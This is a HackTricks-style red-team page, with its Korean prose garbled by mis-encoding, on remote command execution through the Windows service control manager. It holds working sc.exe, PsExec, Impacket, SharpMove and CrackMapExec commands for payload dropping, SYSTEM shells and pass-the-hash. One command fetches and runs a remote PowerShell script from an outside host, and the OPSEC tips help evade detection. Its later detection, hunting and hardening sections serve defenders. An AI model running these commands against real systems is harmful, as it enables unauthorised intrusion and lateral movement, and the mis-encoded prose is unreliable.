PsExec/Winexec/ScExec/SMBExec
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
์ด๋ป๊ฒ ์๋ํ๋์
์ด ๊ธฐ์ ๋ค์ SMB/RPC๋ฅผ ํตํด ์๊ฒฉ์ผ๋ก Windows ์๋น์ค ์ ์ด ๊ด๋ฆฌ์(SCM)๋ฅผ ์ ์ฉํ์ฌ ๋์ ํธ์คํธ์์ ๋ช ๋ น์ ์คํํฉ๋๋ค. ์ผ๋ฐ์ ์ธ ํ๋ฆ์ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
- ๋์์ ์ธ์ฆํ๊ณ SMB(TCP/445)๋ฅผ ํตํด ADMIN$ ๊ณต์ ์ ์ ๊ทผํฉ๋๋ค.
- ์คํ ํ์ผ์ ๋ณต์ฌํ๊ฑฐ๋ ์๋น์ค๊ฐ ์คํํ LOLBAS ๋ช ๋ น์ค์ ์ง์ ํฉ๋๋ค.
- ํด๋น ๋ช ๋ น์ด๋ ๋ฐ์ด๋๋ฆฌ๋ฅผ ๊ฐ๋ฆฌํค๋ SCM(MS-SCMR over \PIPE\svcctl)์ ํตํด ์๊ฒฉ์ผ๋ก ์๋น์ค๋ฅผ ์์ฑํฉ๋๋ค.
- ํ์ด๋ก๋๋ฅผ ์คํํ๊ธฐ ์ํด ์๋น์ค๋ฅผ ์์ํ๊ณ ์ ํ์ ์ผ๋ก ๋ช ๋ช ๋ ํ์ดํ๋ฅผ ํตํด stdin/stdout์ ์บก์ฒํฉ๋๋ค.
- ์๋น์ค๋ฅผ ์ค์งํ๊ณ ์ ๋ฆฌํฉ๋๋ค(์๋น์ค ๋ฐ ๋๋กญ๋ ๋ฐ์ด๋๋ฆฌ๋ฅผ ์ญ์ ).
์๊ตฌ ์ฌํญ/์ ์ ์กฐ๊ฑด:
- ๋์์์ ๋ก์ปฌ ๊ด๋ฆฌ์(SeCreateServicePrivilege) ๋๋ ๋ช ์์ ์ธ ์๋น์ค ์์ฑ ๊ถํ.
- SMB(445)์ ์ ๊ทผ ๊ฐ๋ฅํ๊ณ ADMIN$ ๊ณต์ ๊ฐ ์ฌ์ฉ ๊ฐ๋ฅ; ํธ์คํธ ๋ฐฉํ๋ฒฝ์ ํตํด ์๊ฒฉ ์๋น์ค ๊ด๋ฆฌ ํ์ฉ.
- UAC ์๊ฒฉ ์ ํ: ๋ก์ปฌ ๊ณ์ ์ ๊ฒฝ์ฐ, ํ ํฐ ํํฐ๋ง์ด ๋คํธ์ํฌ์์ ๊ด๋ฆฌ์๋ฅผ ์ฐจ๋จํ ์ ์์ผ๋ฉฐ, ๋ด์ฅ๋ ๊ด๋ฆฌ์ ๋๋ LocalAccountTokenFilterPolicy=1์ ์ฌ์ฉํด์ผ ํฉ๋๋ค.
- Kerberos vs NTLM: ํธ์คํธ ์ด๋ฆ/FQDN์ ์ฌ์ฉํ๋ฉด Kerberos๊ฐ ํ์ฑํ๋๊ณ , IP๋ก ์ฐ๊ฒฐํ๋ฉด ์ข ์ข NTLM์ผ๋ก ๋๋์๊ฐ๋ฉฐ(๊ฐํ๋ ํ๊ฒฝ์์๋ ์ฐจ๋จ๋ ์ ์์).
์๋ ScExec/WinExec via sc.exe
๋ค์์ ์ต์ํ์ ์๋น์ค ์์ฑ ์ ๊ทผ ๋ฐฉ์์ ๋ณด์ฌ์ค๋๋ค. ์๋น์ค ์ด๋ฏธ์ง๋ ๋๋กญ๋ EXE ๋๋ cmd.exe ๋๋ powershell.exe์ ๊ฐ์ LOLBAS์ผ ์ ์์ต๋๋ค.
:: Execute a one-liner without dropping a binary
sc.exe \\TARGET create HTSvc binPath= "cmd.exe /c whoami > C:\\Windows\\Temp\\o.txt" start= demand
sc.exe \\TARGET start HTSvc
sc.exe \\TARGET delete HTSvc
:: Drop a payload to ADMIN$ and execute it (example path)
copy payload.exe \\TARGET\ADMIN$\Temp\payload.exe
sc.exe \\TARGET create HTSvc binPath= "C:\\Windows\\Temp\\payload.exe" start= demand
sc.exe \\TARGET start HTSvc
sc.exe \\TARGET delete HTSvc
๋ ธํธ:
- ๋น์๋น์ค EXE๋ฅผ ์์ํ ๋ ํ์์์ ์ค๋ฅ๊ฐ ๋ฐ์ํ ์ ์์ต๋๋ค; ์คํ์ ์ฌ์ ํ ๋ฐ์ํฉ๋๋ค.
- OPSEC ์นํ์ฑ์ ์ ์งํ๊ธฐ ์ํด ํ์ผ ์๋ ๋ช ๋ น(cmd /c, powershell -enc)์ ์ ํธํ๊ฑฐ๋ ๋๋กญ๋ ์ํฐํฉํธ๋ฅผ ์ญ์ ํ์ธ์.
์์ธํ ๋จ๊ณ๋ ๋ค์์์ ํ์ธํ์ธ์: https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/
๋๊ตฌ ๋ฐ ์์
Sysinternals PsExec.exe
- SMB๋ฅผ ์ฌ์ฉํ์ฌ ADMIN$์ PSEXESVC.exe๋ฅผ ๋๋กญํ๊ณ , ์์ ์๋น์ค๋ฅผ ์ค์นํ๋ฉฐ(๊ธฐ๋ณธ ์ด๋ฆ PSEXESVC), ๋ช ๋ช ๋ ํ์ดํ๋ฅผ ํตํด I/O๋ฅผ ํ๋ก์ํ๋ ๊ณ ์ ์ ์ธ ๊ด๋ฆฌ ๋๊ตฌ์ ๋๋ค.
- ์ฌ์ฉ ์:
:: Interactive SYSTEM shell on remote host
PsExec64.exe -accepteula \\HOST -s -i cmd.exe
:: Run a command as a specific domain user
PsExec64.exe -accepteula \\HOST -u DOMAIN\user -p 'Passw0rd!' cmd.exe /c whoami /all
:: Customize the service name for OPSEC (-r)
PsExec64.exe -accepteula \\HOST -r WinSvc$ -s cmd.exe /c ipconfig
- WebDAV๋ฅผ ํตํด Sysinternals Live์์ ์ง์ ์คํํ ์ ์์ต๋๋ค:
\\live.sysinternals.com\tools\PsExec64.exe -accepteula \\HOST -s cmd.exe /c whoami
OPSEC
- ์๋น์ค ์ค์น/์ ๊ฑฐ ์ด๋ฒคํธ๋ฅผ ๋จ๊ธฐ๋ฉฐ (์๋น์ค ์ด๋ฆ์ -r์ด ์ฌ์ฉ๋์ง ์๋ ํ ์ข ์ข PSEXESVC) ์คํ ์ค C:\Windows\PSEXESVC.exe๋ฅผ ์์ฑํฉ๋๋ค.
Impacket psexec.py (PsExec ์ ์ฌ)
- ๋ด์ฅ๋ RemCom ์ ์ฌ ์๋น์ค๋ฅผ ์ฌ์ฉํฉ๋๋ค. ADMIN$๋ฅผ ํตํด ์์ ์๋น์ค ๋ฐ์ด๋๋ฆฌ(์ผ๋ฐ์ ์ผ๋ก ๋ฌด์์ ์ด๋ฆ)๋ฅผ ๋๋กญํ๊ณ , ์๋น์ค๋ฅผ ์์ฑํ๋ฉฐ(๊ธฐ๋ณธ์ ์ผ๋ก ์ข ์ข RemComSvc), ๋ช ๋ช ๋ ํ์ดํ๋ฅผ ํตํด I/O๋ฅผ ํ๋ก์ํฉ๋๋ค.
# Password auth
psexec.py DOMAIN/user:Password@HOST cmd.exe
# Pass-the-Hash
psexec.py -hashes LMHASH:NTHASH DOMAIN/user@HOST cmd.exe
# Kerberos (use tickets in KRB5CCNAME)
psexec.py -k -no-pass -dc-ip 10.0.0.10 DOMAIN/user@host.domain.local cmd.exe
# Change service name and output encoding
psexec.py -service-name HTSvc -codec utf-8 DOMAIN/user:Password@HOST powershell -nop -w hidden -c "iwr http://10.10.10.1/a.ps1|iex"
์ํฐํฉํธ
- C:\Windows\์ ์์ EXE (๋ฌด์์ 8์). ์๋น์ค ์ด๋ฆ์ ์ฌ์ ์๋์ง ์๋ ํ ๊ธฐ๋ณธ์ ์ผ๋ก RemComSvc์ ๋๋ค.
Impacket smbexec.py (SMBExec)
- cmd.exe๋ฅผ ์์ฑํ๊ณ I/O๋ฅผ ์ํด ๋ช ๋ช ๋ ํ์ดํ๋ฅผ ์ฌ์ฉํ๋ ์์ ์๋น์ค๋ฅผ ์์ฑํฉ๋๋ค. ์ผ๋ฐ์ ์ผ๋ก ์ ์ฒด EXE ํ์ด๋ก๋๋ฅผ ๋๋กญํ๋ ๊ฒ์ ํผํ๋ฉฐ, ๋ช ๋ น ์คํ์ ๋ฐ๋ํ์ ์ ๋๋ค.
smbexec.py DOMAIN/user:Password@HOST
smbexec.py -hashes LMHASH:NTHASH DOMAIN/user@HOST
SharpLateral ๋ฐ SharpMove
- SharpLateral (C#)๋ ์๋น์ค ๊ธฐ๋ฐ exec๋ฅผ ํฌํจํ ์ฌ๋ฌ ์ธก๋ฉด ์ด๋ ๋ฐฉ๋ฒ์ ๊ตฌํํฉ๋๋ค.
SharpLateral.exe redexec HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe.exe malware.exe ServiceName
- SharpMove๋ ์๊ฒฉ์ผ๋ก ๋ช ๋ น์ ์คํํ๊ธฐ ์ํ ์๋น์ค ์์ /์์ฑ์ ํฌํจํฉ๋๋ค.
SharpMove.exe action=modsvc computername=remote.host.local command="C:\windows\temp\payload.exe" amsi=true servicename=TestService
SharpMove.exe action=startservice computername=remote.host.local servicename=TestService
- CrackMapExec๋ฅผ ์ฌ์ฉํ์ฌ ๋ค์ํ ๋ฐฑ์๋๋ฅผ ํตํด ์คํํ ์๋ ์์ต๋๋ค (psexec/smbexec/wmiexec):
cme smb HOST -u USER -p PASS -x "whoami" --exec-method psexec
cme smb HOST -u USER -H NTHASH -x "ipconfig /all" --exec-method smbexec
OPSEC, detection and artifacts
PsExec์ ์ ์ฌํ ๊ธฐ์ ์ ์ฌ์ฉํ ๋์ ์ผ๋ฐ์ ์ธ ํธ์คํธ/๋คํธ์ํฌ ์ํฐํฉํธ:
- ๋ณด์ 4624 (๋ก๊ทธ์จ ์ ํ 3) ๋ฐ 4672 (ํน์ ๊ถํ)์์ ์ฌ์ฉ๋ ๊ด๋ฆฌ์ ๊ณ์ ์ ๋ํ ๋์.
- ๋ณด์ 5140/5145 ํ์ผ ๊ณต์ ๋ฐ ํ์ผ ๊ณต์ ์ธ๋ถ ์ด๋ฒคํธ๊ฐ ADMIN$ ์ ๊ทผ ๋ฐ ์๋น์ค ๋ฐ์ด๋๋ฆฌ์ ์์ฑ/์์ฑ์ ๋ณด์ฌ์ค (์: PSEXESVC.exe ๋๋ ์์์ 8์ .exe).
- ๋์์์์ ๋ณด์ 7045 ์๋น์ค ์ค์น: PSEXESVC, RemComSvc ๋๋ ์ฌ์ฉ์ ์ ์ ์๋น์ค ์ด๋ฆ (-r / -service-name).
- Sysmon 1 (ํ๋ก์ธ์ค ์์ฑ) ์๋น์ค.exe ๋๋ ์๋น์ค ์ด๋ฏธ์ง, 3 (๋คํธ์ํฌ ์ฐ๊ฒฐ), 11 (ํ์ผ ์์ฑ) C:\Windows\์์, 17/18 (ํ์ดํ ์์ฑ/์ฐ๊ฒฐ) \.\pipe\psexesvc, \.\pipe\remcom_* ๋๋ ๋ฌด์์ ๋๋ฑ๋ฌผ์ ๋ํ ํ์ดํ.
- Sysinternals EULA์ ๋ํ ๋ ์ง์คํธ๋ฆฌ ์ํฐํฉํธ: HKCU\Software\Sysinternals\PsExec\EulaAccepted=0x1 ์ด์์ ํธ์คํธ์์ (์ต์ ๋์ง ์์ ๊ฒฝ์ฐ).
์ฌ๋ฅ ์์ด๋์ด
- ImagePath์ cmd.exe /c, powershell.exe ๋๋ TEMP ์์น๊ฐ ํฌํจ๋ ์๋น์ค ์ค์น์ ๋ํ ๊ฒฝ๊ณ .
- ParentImage๊ฐ C:\Windows\PSEXESVC.exe์ธ ํ๋ก์ธ์ค ์์ฑ ๋๋ LOCAL SYSTEM์ผ๋ก ์คํ๋๋ services.exe์ ์์ ํ๋ก์ธ์ค ์ฐพ๊ธฐ.
- -stdin/-stdout/-stderr๋ก ๋๋๋ ๋ช ๋ช ๋ ํ์ดํ ๋๋ ์ ์๋ ค์ง PsExec ํด๋ก ํ์ดํ ์ด๋ฆ ํ๋๊ทธ ์ง์ .
Troubleshooting common failures
- ์๋น์ค ์์ฑ ์ ์ก์ธ์ค ๊ฑฐ๋ถ (5): ์ค์ ๋ก์ปฌ ๊ด๋ฆฌ์๊ฐ ์๋, ๋ก์ปฌ ๊ณ์ ์ ๋ํ UAC ์๊ฒฉ ์ ํ ๋๋ ์๋น์ค ๋ฐ์ด๋๋ฆฌ ๊ฒฝ๋ก์ ๋ํ EDR ๋ณ์กฐ ๋ฐฉ์ง.
- ๋คํธ์ํฌ ๊ฒฝ๋ก๋ฅผ ์ฐพ์ ์ ์์ (53) ๋๋ ADMIN$์ ์ฐ๊ฒฐํ ์ ์์: SMB/RPC๋ฅผ ์ฐจ๋จํ๋ ๋ฐฉํ๋ฒฝ ๋๋ ๊ด๋ฆฌ ๊ณต์ ๊ฐ ๋นํ์ฑํ๋จ.
- Kerberos ์คํจํ์ง๋ง NTLM์ด ์ฐจ๋จ๋จ: ํธ์คํธ ์ด๋ฆ/FQDN (IP ์๋)์ ์ฌ์ฉํ์ฌ ์ฐ๊ฒฐ, ์ ์ ํ SPN ๋ณด์ฅ ๋๋ Impacket ์ฌ์ฉ ์ ํฐ์ผ๊ณผ ํจ๊ป -k/-no-pass ์ ๊ณต.
- ์๋น์ค ์์ ์๊ฐ์ด ์ด๊ณผ๋์ง๋ง ํ์ด๋ก๋๊ฐ ์คํ๋จ: ์ค์ ์๋น์ค ๋ฐ์ด๋๋ฆฌ๊ฐ ์๋ ๊ฒฝ์ฐ ์์; ์ถ๋ ฅ์ ํ์ผ๋ก ์บก์ฒํ๊ฑฐ๋ smbexec๋ฅผ ์ฌ์ฉํ์ฌ ์ค์๊ฐ I/O.
Hardening notes
- Windows 11 24H2 ๋ฐ Windows Server 2025๋ ๊ธฐ๋ณธ์ ์ผ๋ก ์์๋ฐ์ด๋ (๋ฐ Windows 11 ์ธ๋ฐ์ด๋) ์ฐ๊ฒฐ์ ๋ํด SMB ์๋ช ์ ์๊ตฌํฉ๋๋ค. ์ด๋ ์ ํจํ ์๊ฒฉ ์ฆ๋ช ์ ๊ฐ์ง ํฉ๋ฒ์ ์ธ PsExec ์ฌ์ฉ์ ๋ฐฉํดํ์ง ์์ง๋ง ์๋ช ๋์ง ์์ SMB ๋ฆด๋ ์ด ๋จ์ฉ์ ๋ฐฉ์งํ๊ณ ์๋ช ์ ์ง์ํ์ง ์๋ ์ฅ์น์ ์ํฅ์ ๋ฏธ์น ์ ์์ต๋๋ค.
- ์๋ก์ด SMB ํด๋ผ์ด์ธํธ NTLM ์ฐจ๋จ (Windows 11 24H2/Server 2025)์ IP๋ก ์ฐ๊ฒฐํ๊ฑฐ๋ ๋น-Kerberos ์๋ฒ์ ์ฐ๊ฒฐํ ๋ NTLM ํด๋ฐฑ์ ๋ฐฉ์งํ ์ ์์ต๋๋ค. ๊ฐํ๋ ํ๊ฒฝ์์๋ NTLM ๊ธฐ๋ฐ PsExec/SMBExec๊ฐ ์ค๋จ๋๋ฉฐ, Kerberos (ํธ์คํธ ์ด๋ฆ/FQDN)๋ฅผ ์ฌ์ฉํ๊ฑฐ๋ ํฉ๋ฒ์ ์ผ๋ก ํ์ํ ๊ฒฝ์ฐ ์์ธ๋ฅผ ๊ตฌ์ฑํด์ผ ํฉ๋๋ค.
- ์ต์ ๊ถํ ์์น: ๋ก์ปฌ ๊ด๋ฆฌ์ ๋ฉค๋ฒ์ญ ์ต์ํ, Just-in-Time/Just-Enough Admin ์ ํธ, LAPS ์ํ, 7045 ์๋น์ค ์ค์น ๋ชจ๋ํฐ๋ง/๊ฒฝ๊ณ .
See also
- WMI ๊ธฐ๋ฐ ์๊ฒฉ ์คํ (์ข ์ข ํ์ผ๋ฆฌ์ค):
- WinRM ๊ธฐ๋ฐ ์๊ฒฉ ์คํ:
References
- PsExec - Sysinternals | Microsoft Learn: https://learn.microsoft.com/sysinternals/downloads/psexec
- Windows Server 2025 ๋ฐ Windows 11์ SMB ๋ณด์ ๊ฐํ (๊ธฐ๋ณธ์ ์ผ๋ก ์๋ช , NTLM ์ฐจ๋จ): https://techcommunity.microsoft.com/blog/filecab/smb-security-hardening-in-windows-server-2025โwindows-11/4226591
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


